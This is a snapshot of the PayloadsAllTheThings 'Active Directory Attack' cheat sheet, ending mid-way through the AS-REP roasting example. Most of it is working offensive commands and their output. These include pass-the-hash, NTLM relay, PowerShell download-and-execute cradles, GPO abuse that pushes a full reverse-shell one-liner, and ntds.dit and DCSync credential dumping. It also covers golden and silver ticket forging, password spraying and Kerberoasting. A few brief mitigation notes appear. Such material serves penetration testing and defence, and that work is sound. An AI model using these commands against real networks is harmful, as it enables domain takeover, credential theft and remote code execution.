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PayloadsAllTheThings/Methodology and Resources/Active Directory Attack.md
Justin Perdok f11c45650b
Update Active Directory Attack.md
2020-08-17 13:18:30 +00:00

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Active Directory Attacks

Summary

Tools

  • Impacket or the Windows version

  • Responder

  • Mimikatz

  • Ranger

  • BloodHound

    # start BloodHound and the database
root@payload$ apt install bloodhound #kali
root@payload$ neo4j console
root@payload$ ./bloodhound
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j

# run the ingestor on the machine using SharpHound.exe
# https://github.com/BloodHoundAD/SharpHound3
.\SharpHound.exe (from resources/Ingestor)
.\SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100
.\SharpHound.exe -c all -d active.htb --LdapUser myuser --LdapPass mypass --domaincontroller 10.10.10.100
.\SharpHound.exe -c all -d active.htb -SearchForest
.\SharpHound.exe --EncryptZip --ZipFilename export.zip
.\SharpHound.exe --CollectionMethod All --LDAPUser <UserName> --LDAPPass <Password> --JSONFolder <PathToFile>

# or run the ingestor on the machine using Powershell
# https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
Invoke-BloodHound -CollectionMethod All  -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>

# or remotely via BloodHound Python
# https://github.com/fox-it/BloodHound.py
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all

  • AdExplorer

  • CrackMapExec

    # use the latest release, CME is now a binary packaged will all its dependencies
root@payload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip

# execute cme (smb, winrm, mssql, ...)
root@payload$ cme smb -L
root@payload$ cme smb -M name_module -o VAR=DATA
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares
root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz
root@payload$ cme mimikatz --server http --server-port 80

  • Mitm6

    git clone https://github.com/fox-it/mitm6.git && cd mitm6
pip install .
mitm6 -d lab.local
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
# -wh: Server hosting WPAD file (Attacker’s IP)
# -t: Target (You cannot relay credentials to the same device that you’re spoofing)
# -i: open an interactive shell
ntlmrelayx.py -t ldaps://lab.local -wh attacker-wpad --delegate-access

  • PowerSploit

    powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks"
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');"

  • ADRecon

    .\ADRecon.ps1 -DomainController MYAD.net -Credential MYAD\myuser

  • Active Directory Assessment and Privilege Escalation Script

    powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1

  • Ping Castle

    pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
pingcastle.exe --healthcheck --server domain.local
pingcastle.exe --graph --server domain.local
pingcastle.exe --scanner scanner_name --server domain.local
available scanners are:aclcheck,antivirus,corruptADDatabase,foreignusers,laps_bitlocker,localadmin,ullsession,nullsession-trust,share,smb,spooler,startup

  • Kerbrute

    ./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>

  • Rubeus

    Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
Rubeus.exe klist [/luid:LOGINID]
Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]

  • AutomatedLab

    New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV
Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016 SERVERSTANDARD'
Install-Lab
Show-LabDeploymentSummary

Most common paths to AD compromise

MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

This exploit require to know the user SID, you can use rpcclient to remotely get it or wmi if you have an access on the machine.

# remote
rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)

# loc
wmic useraccount get name,sid
Administrator  S-1-5-21-3415849876-833628785-5197346142-500   
Guest          S-1-5-21-3415849876-833628785-5197346142-501   
Administrator  S-1-5-21-297520375-2634728305-5197346142-500   
Guest          S-1-5-21-297520375-2634728305-5197346142-501   
krbtgt         S-1-5-21-297520375-2634728305-5197346142-502   
lambda         S-1-5-21-297520375-2634728305-5197346142-1110 

# powerview
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502

Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068

Generate a ticket with metasploit or pykek

Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
   Name      Current Setting                                Required  Description
   ----      ---------------                                --------  -----------
   DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  P@ssw0rd                                       yes       The Domain User password
   RHOSTS    10.10.10.10                                    yes       The target address range or CIDR identifier
   RPORT     88                                             yes       The target port
   Timeout   10                                             yes       The TCP timeout to establish connection and read data
   USER      lambda                                         yes       The Domain User
   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000

# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
$ git clone https://github.com/SecWiki/windows-kernel-exploits
$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
-1105
  [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
  [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!

Then use mimikatz to load the ticket.

mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"

⚠️ If the clock is skewed use clock-skew.nse script from nmap

Linux> $ nmap -sV -sC 10.10.10.10
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s

Linux> sudo date -s "14 APR 2015 18:25:16" 
Windows> net time /domain /set

Mitigations

  • Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780

Open Shares

smbmap -H 10.10.10.10                # null session
smbmap -H 10.10.10.10 -R             # recursive listing
smbmap -H 10.10.10.10 -u invaliduser # guest smb session
smbmap -H 10.10.10.10 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18

or

pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
ls  # list files
cd  # move inside a folder
get # download files
put # replace a file

or

smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk      
        SYSVOL          Disk      Logon server share
        Users           Disk
use Sharename # select a Sharename
cd Folder     # move inside a folder
ls            # list files

Download a folder recursively

smbclient -U username //10.0.0.1/SYSVOL
smbclient //10.0.0.1/Share
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> lcd '/path/to/go/'
smb: \> mget *

Mount a share

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
sudo mount -t cifs -o username=<user>,password=<pass> //<IP>/Users folder

SCF and URL file attack against writeable share

Drop the following @something.scf file inside a share and start listening with Responder : responder -wrf --lm -v -I eth0

[Shell]
Command=2
IconFile=\\10.10.XX.XX\Share\test.ico
[Taskbar]
Command=ToggleDesktop

This attack also works with .url files and responder -I eth0 -v.

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\192.168.1.29\%USERNAME%.icon
IconIndex=1

Passwords in SYSVOL & Group Policy Preferences

🚩 GPO Priorization : Organization Unit > Domain > Site > Local

Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key provided by Microsoft in the MSDN - 2.2.1.1.4 Password Encryption

echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g: 
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

Automate the SYSVOL and passwords research

  • Metasploit modules to enumerate shares and credentials

    scanner/smb/smb_enumshares
post/windows/gather/enum_shares
post/windows/gather/credentials/gpp

  • Crackmapexec modules

    cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password

List all GPO for a domain

Get-GPO -domaine DOMAIN.COM -all
Get-GPOReport -all -reporttype xml --all

Powersploit:
Get-NetGPO
Get-NetGPOGroup

Mitigations

  • Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
  • Delete existing GPP xml files in SYSVOL containing passwords.
  • Don’t put passwords in files that are accessible by all authenticated users.

Exploit Group Policy Objects GPO

Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

# Build and configure SharpGPOAbuse
git clone https://github.com/FSecureLABS/SharpGPOAbuse
Install-Package CommandLineParser -Version 1.9.3.15
ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll

# Adding User Rights
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

# Adding a Local Admin
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

# Configuring a User or Computer Logon Script
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

# Configuring a Computer or User Immediate Task
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Abuse GPO with pyGPOAbuse

git clone https://github.com/Hackndo/pyGPOAbuse
# Add john user to local administrators group (Password: H4x00r123..)
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"

# Reverse shell example
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \ 
    -powershell \ 
    -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \ 
    -taskname "Completely Legit Task" \
    -description "Dis is legit, pliz no delete" \ 
    -user

Abuse GPO with PowerView

# Enumerate GPO
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force

Dumping AD Domain Credentials

You will need the following files to extract the ntds :

  • ntds file (C:\Windows\NTDS\ntds.dit)
  • SYSTEM hive (C:\Windows\System32\SYSTEM)

Using ndtsutil

C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit

or

ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q

Using Vshadow

vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit

You can also use the Nishang script, available at : https://github.com/samratashok/nishang

Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\

Using vssadmin

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

Using DiskShadow (a Windows signed binary)

diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak

Using esentutl.exe

Copy/extract a locked file such as the AD Database

esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit

Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes, use the LOCAL options to use it on a retrieved ntds.dit

secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

secretsdump also works remotely

./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status 
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
  • -pwd-last-set: Shows pwdLastSet attribute for each NTDS.DIT account.
  • -user-status: Display whether or not the user is disabled.

Alternatives - modules

Metasploit modules

windows/gather/credentials/domain_hashdump

PowerSploit module

Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit

CrackMapExec module

cme smb 10.10.0.202 -u username -p password --ntds vss
cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default

Using Mimikatz DCSync

Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.

mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt

⚠️ Read-Only Domain Controllers are not allowed to pull password data for users by default.

Using Mimikatz sekurlsa

Dumps credential data in an Active Directory domain when run on a Domain Controller. ⚠️ Requires administrator access with debug or Local SYSTEM rights

sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt

Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Most of the time the best passwords to spray are :

  • P@ssw0rd01, Password123, mimikatz
  • Welcome1/Welcome01
  • $Companyname1 : $Microsoft1
  • SeasonYear : Winter2019*,Spring2020!,Summer2018?
  • Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)

Kerberos pre-auth bruteforcing

Using kerbrute, a tool to perform Kerberos pre-auth bruteforcing.

Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
root@kali:~$ python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt

Spray a pre-generated passwords list

Using crackmapexec and mp64 to generate passwords and spray them against SMB services on the network.

crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`

Spray passwords against the RDP service

Using RDPassSpray to target RDP services.

git clone https://github.com/xFreed0m/RDPassSpray
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]

Using hydra and ncrack to target RDP services.

hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10

Password in AD User comment

enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas: 
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.

Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID

or dump the Active Directory and grep the content.

ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/

Pass-the-Ticket Golden Tickets

Forging a TGT require the krbtgt NTLM hash

The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used.

Using Mimikatz

# Get info - Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt

# Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt

Using Meterpreter

# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list

Using a ticket on Linux

# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519

export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME

# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100

If you need to swap ticket between Windows and Linux, you need to convert them with ticket_converter or kekeo.

root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache

Mitigations:

  • Hard to detect because they are legit TGT tickets
  • Mimikatz generate a golden ticket with a life-span of 10 years

Pass-the-Ticket Silver Tickets

Forging a TGS require machine accound password (key) or NTLM hash of the service account.

# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park

# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100

Interesting services to target with a silver ticket :

Service Type Service Silver Tickets Attack
WMI HOST + RPCSS wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"
PowerShell Remoting HTTP + wsman New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
WinRM HTTP + wsman New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
Scheduled Tasks HOST schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"
Windows File Share (CIFS) CIFS dir \\dc01\c$
LDAP operations including Mimikatz DCSync LDAP lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt
Windows Remote Server Administration Tools RPCSS + LDAP + CIFS /

Mitigations:

  • Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.

Kerberoasting

"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN

Any valid domain user can request a kerberos ticket (TGS) for any domain service with GetUserSPNs. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon           
--------------------  -------------  --------------------------------------------------------  -------------------  -------------------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40  2018-12-03 17:11:11 

$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43c360c29c154b012c$c54c7be163ae6c323ae6b5fc45a1eacee2f4903deec785cd689f4551e023775c7e7772fe85e3fb8374ca95534d72c971ba80e8b6d4ef3c3b8439dc54031540133cbcbd5f7b39d622733d198eec594c0cd181ab4696a6ad12744d1ddd2d3e2c6dd33b4daedbc9cae75e8ff2652c80421b0fa3a61ddf2cabeea462c44e0f6d9a6436717e0621bb4e0fe8bd3cf36156b4b2f7b81d651f70baf34a0b3071858b5034b895c25a0d3c67044c849d5952c381a0078a86ae562810a93d9c7bcc8311255cc9eda35a9c4d4d43ff1cc29108056285c954f3c633332ff0cb0c9c0f1896c792b247c8d25f5dd71802728fc99bb22709337b5596ab0e2045110b0b005b03351e9f71a65b48e8259f6191ce95d4e5794846c61c3abccf0f5f72a8679fb0dc0777720f5551ad99c9c9ab0955f85ee211d40b01fcaece7868960b2063923aa0f59e17b347f3308087707e95cad54b9df8179728821cf54cb204c5c2e571d9a66c8ec40b090305aa32e90a90d25ea37be6d8f8a83c683a8b69d386f9edb970596bc56fa02971f69c7e073b8de1213d9caa75ab652e5c5b99cadace9dd7d15d1d530309ea39ca1b7c6009ae3342796a6bdea084622ee95cbade437659e37363b848bad2186e3a9f7dec66e1e496db32d55eda8fb926f057996638646dcc662ed226788ddf36304dc70eaca91b26cb7180341f417fad91117ee10212c69423abd42769cbf891b51d736ffe474899eec8df64abef319d3c6dc379f2bfda33de7c3a1a50d6ece564d4559c77f560b7506fa2f1c9af7162f1247ea35706aafffde48b8cc48b1ec8e99d99ac81dc02f55f43f9726d746383cd076e7199070ff8100846ba9dc2235e92d0c7dac1f33da5fe7901e02f0566030d7c7e02535d6a300292a04e6c32d0d74d37679c2617750f5920d9c697a30c883519bc6b5a916eec354459c7f248c783bd79c436a7e8c463a8981a9e000d21c2d00c7e8468cff0ab695cb3aa4f14f149d1fafb4d656bcd1f67b747fc4c2d648466a386774853db8d50c22df57e747085142f98f5f06191c243b9dbf671da64228364f058c7e2e53a80fdde7f6dc2f25459a09fb2583757953247c222d64f49bc12d461d2e5aa572ceba2605d7eafd6031405ee422ac35cbf041b4fd28e58d871406e053d1a806de49056791646c175bf0d2aaa19f844bfc885520e19c391702be6ae61122fceac32b689764334908a4eaf7c69974a9519ebb068a15c087955fb402416bd184fd2

Alternatively with Rubeus

.\rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt

Alternatively on macOS machine you can use bifrost

./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true

Then crack the ticket with hashcat or john

./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt
./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt

Mitigations:

  • Have a very long password for your accounts with SPNs (> 32 characters)
  • Make sure no users have SPNs

KRB_AS_REP Roasting

If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting

Prerequisite:

  • Accounts have to have DONT_REQ_PREAUTH
C:\>git clone https://github.com/GhostPack/Rubeus#asreproast
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4


[*] Action: AS-REP roasting

[*] Target User            : TestOU3user
[*] Target Domain          : testlab.local

[*] SamAccountName         : TestOU3user
[*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

    $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...

C:\Rubeus> john --wordlist=passwords_kerb.txt hashes.asreproast

Using impacket to get the hash and hashcat to crack it.

# example
$ python GetNPUsers.py htb.local/svc-alfresco -no-pass
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Getting TGT for svc-alfresco
